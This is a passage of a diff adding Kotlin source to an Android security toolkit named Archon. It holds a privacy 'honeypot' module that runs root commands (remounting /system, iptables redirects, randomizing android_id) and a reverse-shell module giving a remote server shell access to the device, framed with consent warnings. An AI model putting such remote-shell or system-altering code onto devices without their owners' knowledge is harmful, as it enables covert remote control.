// If already logged in, skip to main
|
||||||
|
if (AuthManager.isLoggedIn(this)) {
|
||||||
|
// Quick session check in background, but go to main immediately
|
||||||
|
startMain()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
setContentView(R.layout.activity_login)
|
||||||
|
|
||||||
|
inputServerIp = findViewById(R.id.input_login_server_ip)
|
||||||
|
inputPort = findViewById(R.id.input_login_port)
|
||||||
|
inputUsername = findViewById(R.id.input_login_username)
|
||||||
|
inputPassword = findViewById(R.id.input_login_password)
|
||||||
|
statusText = findViewById(R.id.login_status)
|
||||||
|
btnLogin = findViewById(R.id.btn_login)
|
||||||
|
|
||||||
|
// Pre-fill from saved settings
|
||||||
|
val savedIp = PrefsManager.getServerIp(this)
|
||||||
|
if (savedIp.isNotEmpty()) {
|
||||||
|
inputServerIp.setText(savedIp)
|
||||||
|
}
|
||||||
|
inputPort.setText(PrefsManager.getWebPort(this).toString())
|
||||||
|
|
||||||
|
val savedUser = AuthManager.getUsername(this)
|
||||||
|
if (savedUser.isNotEmpty()) {
|
||||||
|
inputUsername.setText(savedUser)
|
||||||
|
}
|
||||||
|
|
||||||
|
btnLogin.setOnClickListener { doLogin() }
|
||||||
|
|
||||||
|
findViewById<MaterialButton>(R.id.btn_login_detect).setOnClickListener {
|
||||||
|
autoDetect(it as MaterialButton)
|
||||||
|
}
|
||||||
|
|
||||||
|
findViewById<MaterialButton>(R.id.btn_login_skip).setOnClickListener {
|
||||||
|
startMain()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun doLogin() {
|
||||||
|
val serverIp = inputServerIp.text.toString().trim()
|
||||||
|
val port = inputPort.text.toString().trim().toIntOrNull() ?: 8181
|
||||||
|
val username = inputUsername.text.toString().trim()
|
||||||
|
val password = inputPassword.text.toString().trim()
|
||||||
|
|
||||||
|
if (serverIp.isEmpty()) {
|
||||||
|
statusText.text = "Enter server IP or tap AUTO-DETECT"
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if (username.isEmpty() || password.isEmpty()) {
|
||||||
|
statusText.text = "Enter username and password"
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Save server settings
|
||||||
|
PrefsManager.setServerIp(this, serverIp)
|
||||||
|
PrefsManager.setWebPort(this, port)
|
||||||
|
|
||||||
|
btnLogin.isEnabled = false
|
||||||
|
btnLogin.text = "LOGGING IN..."
|
||||||
|
statusText.text = "Connecting to $serverIp:$port..."
|
||||||
|
|
||||||
|
Thread {
|
||||||
|
val result = AuthManager.login(this@LoginActivity, username, password)
|
||||||
|
|
||||||
|
handler.post {
|
||||||
|
btnLogin.isEnabled = true
|
||||||
|
btnLogin.text = "LOGIN"
|
||||||
|
|
||||||
|
if (result.success) {
|
||||||
|
Toast.makeText(this@LoginActivity, "Logged in", Toast.LENGTH_SHORT).show()
|
||||||
|
startMain()
|
||||||
|
} else {
|
||||||
|
statusText.text = result.message
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}.start()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun autoDetect(btn: MaterialButton) {
|
||||||
|
btn.isEnabled = false
|
||||||
|
btn.text = "SCANNING..."
|
||||||
|
statusText.text = "Scanning for AUTARCH server..."
|
||||||
|
|
||||||
|
val discovery = DiscoveryManager(this)
|
||||||
|
discovery.listener = object : DiscoveryManager.Listener {
|
||||||
|
override fun onServerFound(server: DiscoveryManager.DiscoveredServer) {
|
||||||
|
discovery.stopDiscovery()
|
||||||
|
handler.post {
|
||||||
|
if (server.ip.isNotEmpty()) {
|
||||||
|
inputServerIp.setText(server.ip)
|
||||||
|
}
|
||||||
|
if (server.port > 0) {
|
||||||
|
inputPort.setText(server.port.toString())
|
||||||
|
}
|
||||||
|
statusText.text = "Found ${server.hostname} at ${server.ip}:${server.port}"
|
||||||
|
btn.isEnabled = true
|
||||||
|
btn.text = "AUTO-DETECT"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {}
|
||||||
|
|
||||||
|
override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) {
|
||||||
|
handler.post {
|
||||||
|
if (discovery.getDiscoveredServers().isEmpty()) {
|
||||||
|
statusText.text = "No AUTARCH server found on network"
|
||||||
|
}
|
||||||
|
btn.isEnabled = true
|
||||||
|
btn.text = "AUTO-DETECT"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {}
|
||||||
|
}
|
||||||
|
discovery.startDiscovery()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun startMain() {
|
||||||
|
startActivity(Intent(this, MainActivity::class.java))
|
||||||
|
finish()
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,26 @@
|
|||||||
|
package com.darkhal.archon
|
||||||
|
|
||||||
|
import android.os.Bundle
|
||||||
|
import androidx.appcompat.app.AppCompatActivity
|
||||||
|
import androidx.navigation.fragment.NavHostFragment
|
||||||
|
import androidx.navigation.ui.setupWithNavController
|
||||||
|
import com.darkhal.archon.module.ModuleManager
|
||||||
|
import com.google.android.material.bottomnavigation.BottomNavigationView
|
||||||
|
|
||||||
|
class MainActivity : AppCompatActivity() {
|
||||||
|
|
||||||
|
override fun onCreate(savedInstanceState: Bundle?) {
|
||||||
|
super.onCreate(savedInstanceState)
|
||||||
|
setContentView(R.layout.activity_main)
|
||||||
|
|
||||||
|
// Initialize module registry
|
||||||
|
ModuleManager.init()
|
||||||
|
|
||||||
|
val navHostFragment = supportFragmentManager
|
||||||
|
.findFragmentById(R.id.nav_host_fragment) as NavHostFragment
|
||||||
|
val navController = navHostFragment.navController
|
||||||
|
|
||||||
|
val bottomNav = findViewById<BottomNavigationView>(R.id.bottom_nav)
|
||||||
|
bottomNav.setupWithNavController(navController)
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,38 @@
|
|||||||
|
package com.darkhal.archon.module
|
||||||
|
|
||||||
|
import android.content.Context
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Interface for Archon extension modules.
|
||||||
|
* Modules provide security/privacy actions that run through PrivilegeManager.
|
||||||
|
*/
|
||||||
|
interface ArchonModule {
|
||||||
|
val id: String
|
||||||
|
val name: String
|
||||||
|
val description: String
|
||||||
|
val version: String
|
||||||
|
|
||||||
|
fun getActions(): List<ModuleAction>
|
||||||
|
fun executeAction(actionId: String, context: Context): ModuleResult
|
||||||
|
fun getStatus(context: Context): ModuleStatus
|
||||||
|
}
|
||||||
|
|
||||||
|
data class ModuleAction(
|
||||||
|
val id: String,
|
||||||
|
val name: String,
|
||||||
|
val description: String,
|
||||||
|
val privilegeRequired: Boolean = true,
|
||||||
|
val rootOnly: Boolean = false
|
||||||
|
)
|
||||||
|
|
||||||
|
data class ModuleResult(
|
||||||
|
val success: Boolean,
|
||||||
|
val output: String,
|
||||||
|
val details: List<String> = emptyList()
|
||||||
|
)
|
||||||
|
|
||||||
|
data class ModuleStatus(
|
||||||
|
val active: Boolean,
|
||||||
|
val summary: String,
|
||||||
|
val details: Map<String, String> = emptyMap()
|
||||||
|
)
|
||||||
@ -0,0 +1,330 @@
|
|||||||
|
package com.darkhal.archon.module
|
||||||
|
|
||||||
|
import android.content.Context
|
||||||
|
import com.darkhal.archon.util.PrivilegeManager
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Tracking Honeypot module — blocks ad trackers, resets IDs, fakes device fingerprints.
|
||||||
|
* Ported from AUTARCH core/android_protect.py honeypot section.
|
||||||
|
*
|
||||||
|
* Tier 1: ADB-level (no root) — ad ID, DNS, scanning, diagnostics
|
||||||
|
* Tier 2: ADB-level (app-specific) — restrict trackers, revoke perms, clear data
|
||||||
|
* Tier 3: Root only — hosts blocklist, iptables, fake location, randomize identity
|
||||||
|
*/
|
||||||
|
class HoneypotModule : ArchonModule {
|
||||||
|
|
||||||
|
override val id = "honeypot"
|
||||||
|
override val name = "Tracking Honeypot"
|
||||||
|
override val description = "Block trackers & fake device fingerprint data"
|
||||||
|
override val version = "1.0"
|
||||||
|
|
||||||
|
// Well-known tracker packages
|
||||||
|
private val knownTrackers = listOf(
|
||||||
|
"com.google.android.gms", // Google Play Services (partial)
|
||||||
|
"com.facebook.katana", // Facebook
|
||||||
|
"com.facebook.orca", // Messenger
|
||||||
|
"com.instagram.android", // Instagram
|
||||||
|
"com.zhiliaoapp.musically", // TikTok
|
||||||
|
"com.twitter.android", // Twitter/X
|
||||||
|
"com.snapchat.android", // Snapchat
|
||||||
|
"com.amazon.mShop.android.shopping", // Amazon
|
||||||
|
)
|
||||||
|
|
||||||
|
override fun getActions(): List<ModuleAction> = listOf(
|
||||||
|
// Tier 1: ADB-level, no root
|
||||||
|
ModuleAction("reset_ad_id", "Reset Ad ID", "Delete and regenerate advertising ID"),
|
||||||
|
ModuleAction("opt_out_tracking", "Opt Out Tracking", "Enable limit_ad_tracking system setting"),
|
||||||
|
ModuleAction("set_private_dns", "Set Private DNS", "Configure DNS-over-TLS (blocks tracker domains)"),
|
||||||
|
ModuleAction("disable_scanning", "Disable Scanning", "Turn off WiFi/BLE background scanning"),
|
||||||
|
ModuleAction("disable_diagnostics", "Disable Diagnostics", "Stop sending crash/usage data to Google"),
|
||||||
|
ModuleAction("harden_all", "Harden All (Tier 1)", "Apply all Tier 1 protections at once"),
|
||||||
|
|
||||||
|
// Tier 2: ADB-level, app-specific
|
||||||
|
ModuleAction("restrict_trackers", "Restrict Trackers", "Deny background activity for known trackers"),
|
||||||
|
ModuleAction("revoke_tracker_perms", "Revoke Tracker Perms", "Remove location/phone/contacts from trackers"),
|
||||||
|
ModuleAction("force_stop_trackers", "Force Stop Trackers", "Kill all known tracker apps"),
|
||||||
|
|
||||||
|
// Tier 3: Root only
|
||||||
|
ModuleAction("deploy_hosts", "Deploy Hosts Blocklist", "Block tracker domains via /etc/hosts", rootOnly = true),
|
||||||
|
ModuleAction("setup_iptables", "Setup Iptables Redirect", "Redirect tracker traffic to honeypot", rootOnly = true),
|
||||||
|
ModuleAction("randomize_identity", "Randomize Identity", "Change android_id and device fingerprint", rootOnly = true),
|
||||||
|
)
|
||||||
|
|
||||||
|
override fun executeAction(actionId: String, context: Context): ModuleResult {
|
||||||
|
return when (actionId) {
|
||||||
|
"reset_ad_id" -> resetAdId()
|
||||||
|
"opt_out_tracking" -> optOutTracking()
|
||||||
|
"set_private_dns" -> setPrivateDns()
|
||||||
|
"disable_scanning" -> disableScanning()
|
||||||
|
"disable_diagnostics" -> disableDiagnostics()
|
||||||
|
"harden_all" -> hardenAll()
|
||||||
|
"restrict_trackers" -> restrictTrackers()
|
||||||
|
"revoke_tracker_perms" -> revokeTrackerPerms()
|
||||||
|
"force_stop_trackers" -> forceStopTrackers()
|
||||||
|
"deploy_hosts" -> deployHostsBlocklist()
|
||||||
|
"setup_iptables" -> setupIptablesRedirect()
|
||||||
|
"randomize_identity" -> randomizeIdentity()
|
||||||
|
else -> ModuleResult(false, "Unknown action: $actionId")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun getStatus(context: Context): ModuleStatus {
|
||||||
|
val method = PrivilegeManager.getAvailableMethod()
|
||||||
|
val tier = when (method) {
|
||||||
|
PrivilegeManager.Method.ROOT -> "Tier 1-3 (full)"
|
||||||
|
PrivilegeManager.Method.ARCHON_SERVER,
|
||||||
|
PrivilegeManager.Method.LOCAL_ADB,
|
||||||
|
PrivilegeManager.Method.SERVER_ADB -> "Tier 1-2 (ADB)"
|
||||||
|
PrivilegeManager.Method.NONE -> "Unavailable"
|
||||||
|
}
|
||||||
|
return ModuleStatus(
|
||||||
|
active = method != PrivilegeManager.Method.NONE,
|
||||||
|
summary = "Available: $tier"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Tier 1: ADB-level, system-wide ──────────────────────────────
|
||||||
|
|
||||||
|
private fun resetAdId(): ModuleResult {
|
||||||
|
val cmds = listOf(
|
||||||
|
"settings delete secure advertising_id",
|
||||||
|
"settings put secure limit_ad_tracking 1",
|
||||||
|
)
|
||||||
|
val results = cmds.map { PrivilegeManager.execute(it) }
|
||||||
|
return ModuleResult(
|
||||||
|
success = results.all { it.exitCode == 0 },
|
||||||
|
output = "Advertising ID reset, tracking limited"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun optOutTracking(): ModuleResult {
|
||||||
|
val cmds = listOf(
|
||||||
|
"settings put secure limit_ad_tracking 1",
|
||||||
|
"settings put global are_app_usage_stats_enabled 0",
|
||||||
|
)
|
||||||
|
val results = cmds.map { PrivilegeManager.execute(it) }
|
||||||
|
return ModuleResult(
|
||||||
|
success = results.all { it.exitCode == 0 },
|
||||||
|
output = "Ad tracking opt-out enabled"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun setPrivateDns(): ModuleResult {
|
||||||
|
val provider = "dns.adguard-dns.com" // AdGuard DNS blocks trackers
|
||||||
|
val cmds = listOf(
|
||||||
|
"settings put global private_dns_mode hostname",
|
||||||
|
"settings put global private_dns_specifier $provider",
|
||||||
|
)
|
||||||
|
val results = cmds.map { PrivilegeManager.execute(it) }
|
||||||
|
return ModuleResult(
|
||||||
|
success = results.all { it.exitCode == 0 },
|
||||||
|
output = "Private DNS set to $provider (tracker blocking)"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun disableScanning(): ModuleResult {
|
||||||
|
val cmds = listOf(
|
||||||
|
"settings put global wifi_scan_always_enabled 0",
|
||||||
|
"settings put global ble_scan_always_enabled 0",
|
||||||
|
)
|
||||||
|
val results = cmds.map { PrivilegeManager.execute(it) }
|
||||||
|
return ModuleResult(
|
||||||
|
success = results.all { it.exitCode == 0 },
|
||||||
|
output = "WiFi/BLE background scanning disabled"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun disableDiagnostics(): ModuleResult {
|
||||||
|
val cmds = listOf(
|
||||||
|
"settings put global send_action_app_error 0",
|
||||||
|
"settings put secure send_action_app_error 0",
|
||||||
|
"settings put global upload_apk_enable 0",
|
||||||
|
)
|
||||||
|
val results = cmds.map { PrivilegeManager.execute(it) }
|
||||||
|
return ModuleResult(
|
||||||
|
success = results.all { it.exitCode == 0 },
|
||||||
|
output = "Diagnostics and crash reporting disabled"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun hardenAll(): ModuleResult {
|
||||||
|
val actions = listOf(
|
||||||
|
"Ad ID" to ::resetAdId,
|
||||||
|
"Tracking" to ::optOutTracking,
|
||||||
|
"DNS" to ::setPrivateDns,
|
||||||
|
"Scanning" to ::disableScanning,
|
||||||
|
"Diagnostics" to ::disableDiagnostics,
|
||||||
|
)
|
||||||
|
val details = mutableListOf<String>()
|
||||||
|
var success = true
|
||||||
|
for ((name, action) in actions) {
|
||||||
|
val result = action()
|
||||||
|
details.add("$name: ${result.output}")
|
||||||
|
if (!result.success) success = false
|
||||||
|
}
|
||||||
|
return ModuleResult(
|
||||||
|
success = success,
|
||||||
|
output = "Applied ${actions.size} Tier 1 protections",
|
||||||
|
details = details
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Tier 2: ADB-level, app-specific ─────────────────────────────
|
||||||
|
|
||||||
|
private fun restrictTrackers(): ModuleResult {
|
||||||
|
val details = mutableListOf<String>()
|
||||||
|
var restricted = 0
|
||||||
|
for (pkg in knownTrackers) {
|
||||||
|
val check = PrivilegeManager.execute("pm list packages | grep $pkg")
|
||||||
|
if (check.stdout.contains(pkg)) {
|
||||||
|
val r = PrivilegeManager.execute("cmd appops set $pkg RUN_IN_BACKGROUND deny")
|
||||||
|
if (r.exitCode == 0) {
|
||||||
|
restricted++
|
||||||
|
details.add("Restricted: $pkg")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ModuleResult(
|
||||||
|
success = true,
|
||||||
|
output = "$restricted tracker(s) restricted from background",
|
||||||
|
details = details
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun revokeTrackerPerms(): ModuleResult {
|
||||||
|
val dangerousPerms = listOf(
|
||||||
|
"android.permission.ACCESS_FINE_LOCATION",
|
||||||
|
"android.permission.ACCESS_COARSE_LOCATION",
|
||||||
|
"android.permission.READ_PHONE_STATE",
|
||||||
|
"android.permission.READ_CONTACTS",
|
||||||
|
"android.permission.RECORD_AUDIO",
|
||||||
|
"android.permission.CAMERA",
|
||||||
|
)
|
||||||
|
val details = mutableListOf<String>()
|
||||||
|
var totalRevoked = 0
|
||||||
|
|
||||||
|
for (pkg in knownTrackers) {
|
||||||
|
val check = PrivilegeManager.execute("pm list packages | grep $pkg")
|
||||||
|
if (!check.stdout.contains(pkg)) continue
|
||||||
|
|
||||||
|
var pkgRevoked = 0
|
||||||
|
for (perm in dangerousPerms) {
|
||||||
|
val r = PrivilegeManager.execute("pm revoke $pkg $perm 2>/dev/null")
|
||||||
|
if (r.exitCode == 0) pkgRevoked++
|
||||||
|
}
|
||||||
|
if (pkgRevoked > 0) {
|
||||||
|
totalRevoked += pkgRevoked
|
||||||
|
details.add("$pkg: revoked $pkgRevoked permissions")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ModuleResult(
|
||||||
|
success = true,
|
||||||
|
output = "Revoked $totalRevoked permissions from trackers",
|
||||||
|
details = details
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun forceStopTrackers(): ModuleResult {
|
||||||
|
val details = mutableListOf<String>()
|
||||||
|
var stopped = 0
|
||||||
|
for (pkg in knownTrackers) {
|
||||||
|
val check = PrivilegeManager.execute("pm list packages | grep $pkg")
|
||||||
|
if (check.stdout.contains(pkg)) {
|
||||||
|
PrivilegeManager.execute("am force-stop $pkg")
|
||||||
|
stopped++
|
||||||
|
details.add("Stopped: $pkg")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ModuleResult(
|
||||||
|
success = true,
|
||||||
|
output = "$stopped tracker(s) force-stopped",
|
||||||
|
details = details
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Tier 3: Root only ───────────────────────────────────────────
|
||||||
|
|
||||||
|
private fun deployHostsBlocklist(): ModuleResult {
|
||||||
|
if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) {
|
||||||
|
return ModuleResult(false, "Root access required for hosts file modification")
|
||||||
|
}
|
||||||
|
|
||||||
|
val trackerDomains = listOf(
|
||||||
|
"graph.facebook.com", "pixel.facebook.com", "an.facebook.com",
|
||||||
|
"analytics.google.com", "adservice.google.com", "pagead2.googlesyndication.com",
|
||||||
|
"analytics.tiktok.com", "log.byteoversea.com",
|
||||||
|
"graph.instagram.com",
|
||||||
|
"ads-api.twitter.com", "analytics.twitter.com",
|
||||||
|
"tr.snapchat.com", "sc-analytics.appspot.com",
|
||||||
|
)
|
||||||
|
|
||||||
|
val hostsEntries = trackerDomains.joinToString("\n") { "0.0.0.0 $it" }
|
||||||
|
val cmds = listOf(
|
||||||
|
"mount -o remount,rw /system 2>/dev/null || true",
|
||||||
|
"cp /system/etc/hosts /system/etc/hosts.bak 2>/dev/null || true",
|
||||||
|
"echo '# AUTARCH Honeypot blocklist\n$hostsEntries' >> /system/etc/hosts",
|
||||||
|
"mount -o remount,ro /system 2>/dev/null || true",
|
||||||
|
)
|
||||||
|
|
||||||
|
for (cmd in cmds) {
|
||||||
|
PrivilegeManager.execute(cmd)
|
||||||
|
}
|
||||||
|
|
||||||
|
return ModuleResult(
|
||||||
|
success = true,
|
||||||
|
output = "Deployed ${trackerDomains.size} tracker blocks to /system/etc/hosts"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun setupIptablesRedirect(): ModuleResult {
|
||||||
|
if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) {
|
||||||
|
return ModuleResult(false, "Root access required for iptables")
|
||||||
|
}
|
||||||
|
|
||||||
|
val cmds = listOf(
|
||||||
|
"iptables -t nat -N AUTARCH_HONEYPOT 2>/dev/null || true",
|
||||||
|
"iptables -t nat -F AUTARCH_HONEYPOT",
|
||||||
|
// Redirect known tracker IPs to localhost (honeypot)
|
||||||
|
"iptables -t nat -A AUTARCH_HONEYPOT -p tcp --dport 443 -d 157.240.0.0/16 -j REDIRECT --to-port 8443",
|
||||||
|
"iptables -t nat -A AUTARCH_HONEYPOT -p tcp --dport 443 -d 31.13.0.0/16 -j REDIRECT --to-port 8443",
|
||||||
|
"iptables -t nat -A OUTPUT -j AUTARCH_HONEYPOT",
|
||||||
|
)
|
||||||
|
|
||||||
|
val details = mutableListOf<String>()
|
||||||
|
for (cmd in cmds) {
|
||||||
|
val r = PrivilegeManager.execute(cmd)
|
||||||
|
if (r.exitCode == 0) details.add("OK: ${cmd.take(60)}")
|
||||||
|
}
|
||||||
|
|
||||||
|
return ModuleResult(
|
||||||
|
success = true,
|
||||||
|
output = "Iptables honeypot chain configured",
|
||||||
|
details = details
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun randomizeIdentity(): ModuleResult {
|
||||||
|
if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) {
|
||||||
|
return ModuleResult(false, "Root access required for identity randomization")
|
||||||
|
}
|
||||||
|
|
||||||
|
val randomId = (1..16).map { "0123456789abcdef".random() }.joinToString("")
|
||||||
|
val cmds = listOf(
|
||||||
|
"settings put secure android_id $randomId",
|
||||||
|
"settings delete secure advertising_id",
|
||||||
|
"settings put secure limit_ad_tracking 1",
|
||||||
|
)
|
||||||
|
|
||||||
|
val details = mutableListOf<String>()
|
||||||
|
for (cmd in cmds) {
|
||||||
|
val r = PrivilegeManager.execute(cmd)
|
||||||
|
details.add("${if (r.exitCode == 0) "OK" else "FAIL"}: ${cmd.take(50)}")
|
||||||
|
}
|
||||||
|
|
||||||
|
return ModuleResult(
|
||||||
|
success = true,
|
||||||
|
output = "Identity randomized (android_id=$randomId)",
|
||||||
|
details = details
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,41 @@
|
|||||||
|
package com.darkhal.archon.module
|
||||||
|
|
||||||
|
import android.content.Context
|
||||||
|
import android.util.Log
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Central registry for Archon modules.
|
||||||
|
* Modules register at init time and can be discovered/invoked by the UI.
|
||||||
|
*/
|
||||||
|
object ModuleManager {
|
||||||
|
|
||||||
|
private const val TAG = "ModuleManager"
|
||||||
|
private val modules = mutableListOf<ArchonModule>()
|
||||||
|
private var initialized = false
|
||||||
|
|
||||||
|
fun init() {
|
||||||
|
if (initialized) return
|
||||||
|
register(ShieldModule())
|
||||||
|
register(HoneypotModule())
|
||||||
|
register(ReverseShellModule())
|
||||||
|
initialized = true
|
||||||
|
Log.i(TAG, "Initialized with ${modules.size} modules")
|
||||||
|
}
|
||||||
|
|
||||||
|
fun register(module: ArchonModule) {
|
||||||
|
if (modules.none { it.id == module.id }) {
|
||||||
|
modules.add(module)
|
||||||
|
Log.i(TAG, "Registered module: ${module.id} (${module.name})")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fun getAll(): List<ArchonModule> = modules.toList()
|
||||||
|
|
||||||
|
fun get(id: String): ArchonModule? = modules.find { it.id == id }
|
||||||
|
|
||||||
|
fun executeAction(moduleId: String, actionId: String, context: Context): ModuleResult {
|
||||||
|
val module = get(moduleId)
|
||||||
|
?: return ModuleResult(false, "Module not found: $moduleId")
|
||||||
|
return module.executeAction(actionId, context)
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,274 @@
|
|||||||
|
package com.darkhal.archon.module
|
||||||
|
|
||||||
|
import android.content.Context
|
||||||
|
import android.util.Log
|
||||||
|
import com.darkhal.archon.service.LocalAdbClient
|
||||||
|
import com.darkhal.archon.util.PrefsManager
|
||||||
|
import java.io.BufferedReader
|
||||||
|
import java.io.InputStreamReader
|
||||||
|
import java.io.OutputStreamWriter
|
||||||
|
import java.io.PrintWriter
|
||||||
|
import java.net.InetSocketAddress
|
||||||
|
import java.net.Socket
|
||||||
|
import java.util.UUID
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Reverse Shell module — connects back to the AUTARCH server for remote device management.
|
||||||
|
*
|
||||||
|
* SAFETY GATES:
|
||||||
|
* 1. Disabled by default — must be explicitly enabled
|
||||||
|
* 2. Three warning prompts before enabling (enforced in UI)
|
||||||
|
* 3. Kill switch — disconnect at any time from app or by force-stopping
|
||||||
|
* 4. Audit log — all commands logged at /data/local/tmp/archon_shell.log
|
||||||
|
* 5. Auto-timeout — connection drops after configurable time (default 30 min)
|
||||||
|
* 6. Server verification — only connects to configured AUTARCH server IP
|
||||||
|
* 7. Token auth — random token per session
|
||||||
|
*
|
||||||
|
* The shell process (ArchonShell.java) runs via app_process at UID 2000,
|
||||||
|
* same as ArchonServer. It connects OUTBOUND to AUTARCH's RevShellListener.
|
||||||
|
*/
|
||||||
|
class ReverseShellModule : ArchonModule {
|
||||||
|
|
||||||
|
override val id = "revshell"
|
||||||
|
override val name = "Reverse Shell"
|
||||||
|
override val description = "Remote shell connection to AUTARCH server for device investigation"
|
||||||
|
override val version = "1.0"
|
||||||
|
|
||||||
|
companion object {
|
||||||
|
private const val TAG = "ReverseShellModule"
|
||||||
|
private const val PREFS_NAME = "archon_revshell"
|
||||||
|
private const val KEY_ENABLED = "revshell_enabled"
|
||||||
|
private const val KEY_WARNING_ACCEPTED = "revshell_warnings_accepted"
|
||||||
|
private const val KEY_PORT = "revshell_port"
|
||||||
|
private const val KEY_TIMEOUT = "revshell_timeout_min"
|
||||||
|
private const val KEY_SESSION_TOKEN = "revshell_session_token"
|
||||||
|
private const val DEFAULT_PORT = 17322
|
||||||
|
private const val DEFAULT_TIMEOUT = 30 // minutes
|
||||||
|
private const val SHELL_PROCESS_NAME = "archon_shell"
|
||||||
|
|
||||||
|
// Warning messages shown before enabling (UI enforces showing all 3)
|
||||||
|
val WARNINGS = listOf(
|
||||||
|
"This enables a reverse shell connection to your AUTARCH server. " +
|
||||||
|
"This gives remote shell access (UID 2000) to this device.",
|
||||||
|
"Only enable this on devices YOU own. Never enable on someone else's device. " +
|
||||||
|
"This is a defensive tool for investigating threats on your own phone.",
|
||||||
|
"The reverse shell will connect to your configured AUTARCH server. " +
|
||||||
|
"You can disable it at any time from this screen or by force-stopping the app."
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun getActions(): List<ModuleAction> = listOf(
|
||||||
|
ModuleAction("enable", "Enable", "Accept warnings and enable reverse shell", privilegeRequired = false),
|
||||||
|
ModuleAction("disable", "Disable", "Disable reverse shell and kill active connections", privilegeRequired = false),
|
||||||
|
ModuleAction("connect", "Connect", "Start reverse shell to AUTARCH server"),
|
||||||
|
ModuleAction("disconnect", "Disconnect", "Stop active reverse shell"),
|
||||||
|
ModuleAction("status", "Status", "Check connection status", privilegeRequired = false),
|
||||||
|
)
|
||||||
|
|
||||||
|
override fun executeAction(actionId: String, context: Context): ModuleResult {
|
||||||
|
return when (actionId) {
|
||||||
|
"enable" -> enable(context)
|
||||||
|
"disable" -> disable(context)
|
||||||
|
"connect" -> connect(context)
|
||||||
|
"disconnect" -> disconnect(context)
|
||||||
|
"status" -> status(context)
|
||||||
|
else -> ModuleResult(false, "Unknown action: $actionId")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun getStatus(context: Context): ModuleStatus {
|
||||||
|
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||||
|
val enabled = prefs.getBoolean(KEY_ENABLED, false)
|
||||||
|
val connected = isShellRunning()
|
||||||
|
|
||||||
|
val summary = when {
|
||||||
|
connected -> "Connected to AUTARCH"
|
||||||
|
enabled -> "Enabled — not connected"
|
||||||
|
else -> "Disabled"
|
||||||
|
}
|
||||||
|
|
||||||
|
return ModuleStatus(
|
||||||
|
active = connected,
|
||||||
|
summary = summary,
|
||||||
|
details = mapOf(
|
||||||
|
"enabled" to enabled.toString(),
|
||||||
|
"connected" to connected.toString(),
|
||||||
|
"port" to prefs.getInt(KEY_PORT, DEFAULT_PORT).toString(),
|
||||||
|
"timeout" to "${prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT)} min"
|
||||||
|
)
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Actions ─────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
private fun enable(context: Context): ModuleResult {
|
||||||
|
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||||
|
|
||||||
|
// Check if warnings were accepted (UI sets this after showing all 3)
|
||||||
|
if (!prefs.getBoolean(KEY_WARNING_ACCEPTED, false)) {
|
||||||
|
return ModuleResult(
|
||||||
|
false,
|
||||||
|
"Warnings not accepted. Use the UI to enable — all 3 safety warnings must be acknowledged.",
|
||||||
|
WARNINGS
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
prefs.edit().putBoolean(KEY_ENABLED, true).apply()
|
||||||
|
Log.i(TAG, "Reverse shell ENABLED")
|
||||||
|
return ModuleResult(true, "Reverse shell enabled. Use 'connect' to start a session.")
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun disable(context: Context): ModuleResult {
|
||||||
|
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||||
|
|
||||||
|
// Kill any active shell first
|
||||||
|
if (isShellRunning()) {
|
||||||
|
killShell()
|
||||||
|
}
|
||||||
|
|
||||||
|
prefs.edit()
|
||||||
|
